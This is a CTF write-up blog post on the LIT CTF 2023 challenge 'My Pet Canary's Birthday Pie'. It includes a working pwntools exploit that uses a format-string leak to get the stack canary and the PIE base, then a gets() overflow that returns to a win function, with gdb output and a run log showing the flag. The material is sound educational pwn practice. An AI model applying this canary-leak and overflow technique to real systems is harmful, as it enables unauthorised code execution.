Apothiphis_z

My journey in the world of CTF as n00b

Home | Blog | About me | Contact me
9 August 2023

Writeup LIT CTF:My Pet Canary's Birthday Pie

by Francesco

#My Pet Canary’s Birthday Pie [LIT CTF 2023] My Pet Canary’s Birthday Pie (Lexington Informatics Tournament 2023)

Description

Here is my first c program! I’ve heard about lots of security features in c, whatever they do. The point is, c looks like a very secure language to me! Try breaking it.

Let’s check the protections enabled

Arch:     amd64-64-little 
RELRO:    Full RELRO 
Stack:    Canary found
NX:       NX enabled 
PIE:      PIE enabled    

All protections enabled nice, ain’t it? I will upload the binary on dogbolt.org , we can see that there is a win function and a vuln function. It seems a more complex version of a ret2win chall.

Let’s analyze the vuln function

void vuln(void)

{
  long in_FS_OFFSET;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  gets(local_38);
  printf(local_38);
  fflush(stdout);
  gets(local_38);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return;
} The interesting functions are the two gets() (bof) and printf() (fmt) . Also is obvious that there is a canary for the check that includes fs+0x28, common place where the canary is loaded. Plan: PIE is enabled so we won't find precise address but offsets, we need to exploit the printf with a format string attack to leak the canary and an address in .text segment, then with the second gets() we will return to win function.

LEAKING STUFF! Here is my script that ‘fuzz’ the binary to find some leak

from pwn import *

elf = ELF("./s")
f = open("format.txt", "w")
for i in range(100):
	io = elf.process()
	p = f"%{i}$p"
	io.sendline(p)
	data = f"{i} : {io.recv(1024,timeout=2)}\n"
	f.write(data)
	io.close()

First of all we need to load the binary on gdb (I use it with pwndbg extension) and check the offsets of every segment of the binary… Here the result of vmmap command:

             Start                End Perm     Size Offset File
    0x555555554000     0x555555555000 r--p     1000      0 /home/ctf/lit ctf/Canary/s
    0x555555555000     0x555555556000 r-xp     1000   1000 /home/ctf/lit ctf/Canary/s
    0x555555556000     0x555555557000 r--p     1000   2000 /home/ctf/lit ctf/Canary/s
    0x555555557000     0x555555558000 r--p     1000   2000 /home/ctf/lit ctf/Canary/s
    0x555555558000     0x555555559000 rw-p     1000   3000 /home/ctf/lit ctf/Canary/s
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7dbd000 r-xp   195000  28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dbd000     0x7ffff7e15000 r--p    58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e15000     0x7ffff7e19000 r--p     4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e19000     0x7ffff7e1b000 rw-p     2000 218000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1b000     0x7ffff7e28000 rw-p     d000      0 [anon_7ffff7e1b]
    0x7ffff7fa2000     0x7ffff7fa5000 rw-p     3000      0 [anon_7ffff7fa2]
    0x7ffff7fbb000     0x7ffff7fbd000 rw-p     2000      0 [anon_7ffff7fbb]
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000      0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000      0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000      0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000   2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000  2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000  37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000  39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

So for leaking the entry address of the binary we will only check address that are between 0x555555554000 and 0x555555559000, right? Nop, there is also aslr, these are address that works only on gdb :(

What we do know is that the first byte of the address tells us what area we are in. In our case we have to look for addresses starting with 0x55

Here the content of format.txt

1 : b'0x1'
2 : b'0x1'
3 : b'0x7fc013819aa0'
4 : b'(nil)'
5 : b'(nil)'
6 : b'0x7f0070243625'
7 : b'0x7f28e3e815ff'
8 : b'0x2'
9 : b'(nil)'
10 : b'0x7fffecbc1400'
11 : b'0x31bcc6765db6100'
12 : b'0x7fff004d87d0'
13 : b'0x55c5c9d882ae'
14 : b'0x1'
15 : b'0x7f8ed7029d90'
16 : b'(nil)'
17 : b'0x555a8b583274'
18 : b'0x117ac1510'
19 : b'0x7ffc0095ad68'
20 : b'(nil)'
21 : b'0xa91c739ab1894809'
22 : b'0x7ffedd87cf48'
23 : b'0x564905442274'
24 : b'(nil)'
25 : b'0x7efcc485a040'
26 : b'0xebf7f9a8b02d9879'
27 : b'0xc87848ba38083c06'
28 : b'0x7fdf00000000'
29 : b'(nil)'
30 : b'(nil)'
31 : b'0x7ffd61c8a298'
32 : b'(nil)'
33 : b'0xd946867be51dee00'
34 : b'(nil)'
35 : b'0x7f5c4cc29e40'
36 : b'0x7fff00000000'
37 : b'0x7ffd81e4dfa8'
38 : b'0x7f28468672e0'
39 : b'(nil)'
40 : b'(nil)'
41 : b'0x55bb318c3100'
42 : b'0x7ffdadf90340'
43 : b'(nil)'
44 : b'(nil)'
45 : b'0x55dabc0b712e'
46 : b'0x7ffda1a1a5f8'
47 : b'0x1c'
48 : b'0x1'
49 : b'0x7fff06aa634a'
50 : b'(nil)'
51 : b'0x7ffce32fe365'
52 : b'0x7fff1cd9e375'
53 : b'0x7ffd9649c3e1'
54 : b'0x7ffd1d2053f4'
55 : b'0x7fffe6bb3408'
56 : b'0x7fffe3065435'
57 : b'0x7ffdf130f456'
58 : b'0x7fff689c346d'
59 : b'0x7ffffcc95499'
60 : b'0x7ffea09c24a9'
61 : b'0x7fff766104c0'
62 : b'0x7ffe968c24e0'
63 : b'0x7fff902964f4'
64 : b'0x7ffe4eead51d'
65 : b'0x7ffe91100531'
66 : b'0x7ffc1d4e6548'
67 : b'0x7ffd7738e560'
68 : b'0x7ffdc677457c'
69 : b'0x7fff1bdc5599'
70 : b'0x7ffc7fc0f5a5'
71 : b'0x7ffd6ca725c0'
72 : b'0x7ffd82a2f5d9'
73 : b'0x7ffee23545f1'
74 : b'0x7ffedd589627'
75 : b'0x7ffdffc2f636'
76 : b'0x7ffe0696f643'
77 : b'0x7ffefccfc655'
78 : b'0x7ffc275ba66a'
79 : b'0x7ffd633de67b'
80 : b'0x7ffd12e76c6a'
81 : b'0x7fffa485fc8b'
82 : b'0x7ffecf4acc9c'
83 : b'0x7ffe23733cb6'
84 : b'0x7ffc3aeb7d0c'
85 : b'0x7ffd26f80d23'
86 : b'0x7ffd79a9ed45'
87 : b'0x7ffe80d23d5c'
88 : b'0x7ffee0d4ad70'
89 : b'0x7ffc2eafbd8e'
90 : b'0x7ffede02fdae'
91 : b'0x7ffdc1c22db7'
92 : b'0x7ffe80639dd5'
93 : b'0x7ffcaa26fde0'
94 : b'0x7ffff6687de8'
95 : b'0x7ffcfbc5ce01'
96 : b'0x7ffc68441e13'
97 : b'0x7ffc153ace2e'
98 : b'0x7ffc5030fe4d'
99 : b'0x7ffe877efe61'

The canary seems to be in position 26 or 27 or 33, running the program on gdb and checking the canary with %26$p %27$p and %33$p, we can confirm that the canary is leaked with %33$p. On the other hand the base address could be within this two offset 41 or 45. I will try %41$p : Running on gdb, breaking at vuln after the printf we get an address and seems to suite perfectly for our job

pwndbg> xinfo 0x555555555100
Extended information for virtual address 0x555555555100:

  Containing mapping:
    0x555555555000     0x555555556000 r-xp     1000   1000 /home/ctf/lit ctf/Canary/s

  Offset information:
         Mapped Area 0x555555555100 = 0x555555555000 + 0x100
         File (Base) 0x555555555100 = 0x555555554000 + 0x1100
      File (Segment) 0x555555555100 = 0x555555555000 + 0x100
         File (Disk) 0x555555555100 = /home/ctf/lit ctf/Canary/s + 0x1100

 Containing ELF sections:
               .text 0x555555555100 = 0x555555555100 + 0x0

So we will subtract 0x1100 to get base address of our binary.

We can start writing our exploit that leaks the canary and the base address:

from pwn import *
#context.log_level = 'debug'
elf = context.binary = ELF("./s")
ip, port = "litctf.org", 31791
io = elf.process()
#io = remote(ip,port)
#Leak Canary
p1 = "%33$p||%41$p"
io.sendline(p1)
data = io.recv(1024, timeout=2).split(b"||")
canary = int(data[0],16)
text = int(data[1], 16)
log.info(f"Canary : {hex(canary)}")
#Shell?
sub = 0x1100
base = text - sub
log.info(f"Base Address: {hex(base)}")

Now we also have the address of win function

win = p64(base + elf.sym['win'])

The only thing we need now is rop gadget for ‘ret’ instruction (bc stack alignment)

$ ROPgadget --binary=s|grep ": ret"
0x000000000000101a : ret

We can update our script

ret = p64(base + 0x000000000000101a)

Final payload will be like Offset + Canary + 8 bytes of junk + ret address + win address

Offset is 40 (tip run it on gdb create a cyclic of 100 and break at vuln, send this payload on second gets and then set rip at leave instruction, this will bypass the canary check…)

Running the exploit

$ python3 xpl.py 
[*] '/home/ctf/lit ctf/Canary/s'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/ctf/lit ctf/Canary/s': pid 1318968
/home/ctf/lit ctf/Canary/xpl.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline(p1)
[*] Canary : 0x2e3e27eaf0759600
[*] Base Address: 0x55c828f48000
[*] Win @ 0x55c828f491e9
[*] Switching to interactive mode
$ cat flag.txt
LITCTF{rule_1_of_pwn:_use_checksec_I_think_06d2ee2b}
$

Here is the final script

from pwn import *
#context.log_level = 'debug'
elf = context.binary = ELF("./s")
ip, port = "litctf.org", 31791
io = elf.process()
#io = remote(ip,port)
#Leak Canary
p1 = "%33$p||%41$p"
io.sendline(p1)
data = io.recv(1024, timeout=2).split(b"||")
canary = int(data[0],16)
text = int(data[1], 16)
log.info(f"Canary : {hex(canary)}")
#Shell?
sub = 0x1100
base = text - sub
log.info(f"Base Address: {hex(base)}")
win = p64(base + elf.sym['win'])
ret = p64(base + 0x000000000000101a)
log.info(f"Win @ {hex(u64(win))}")
off = 40
p2 = b"A"*off
p2 += p64(canary)
p2 += b"A"*8
p2 += ret
p2 += win
io.sendline(p2)
io.interactive()

If you have any question, want to ask me anything or give me any advice, just contact me and I will be super-available to answer to all of you! Hope to see you again!
tags: Hacking - Pwn